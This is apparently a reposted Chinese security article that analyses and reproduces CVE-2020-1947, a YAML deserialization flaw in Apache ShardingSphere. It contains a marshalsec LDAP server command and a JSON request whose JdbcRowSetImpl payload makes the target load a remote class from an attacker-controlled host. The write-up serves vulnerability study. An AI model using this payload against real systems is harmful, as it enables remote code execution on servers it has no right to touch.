- A+
所属分类:安全文章
一、漏洞介绍
二、漏洞验证
( 1 ) 搭建环境
( 2 ) 构建EXP
java -cp marshalsec-0.0.3-SNAPSHOT-all.jarmarshalsec.jndi.LDAPRefServer http://192.168.20.35:8000/#ExportObject
( 3 ) 触发漏洞
{
"name": "CVE-2020-1947",
"ruleConfiguration": " encryptors:n encryptor_aes:n type: aesn props:n aes.key.value: 123456abcn encryptor_md5:n type: md5n tables:n t_encrypt:n columns:n user_id:n plainColumn: user_plainn cipherColumn: user_ciphern encryptor: encryptor_aesn order_id:n cipherColumn: order_ciphern encryptor: encryptor_md5",
"dataSourceConfiguration":"!!com.sun.rowset.JdbcRowSetImpln dataSourceName: ldap://192.168.20.35:1389/ExportObjectn autoCommit: true"
}
三、漏洞原理
loadDataSourceConfigurations,可以看到该函数会调用YamlEngine.unmarshal去处理数据,继续跟进这个函数就可以到达最终的反序列化漏洞点了。
本文始发于微信公众号(网络安全应急技术国家工程实验室):Apache ShardingShpere漏洞分析与复现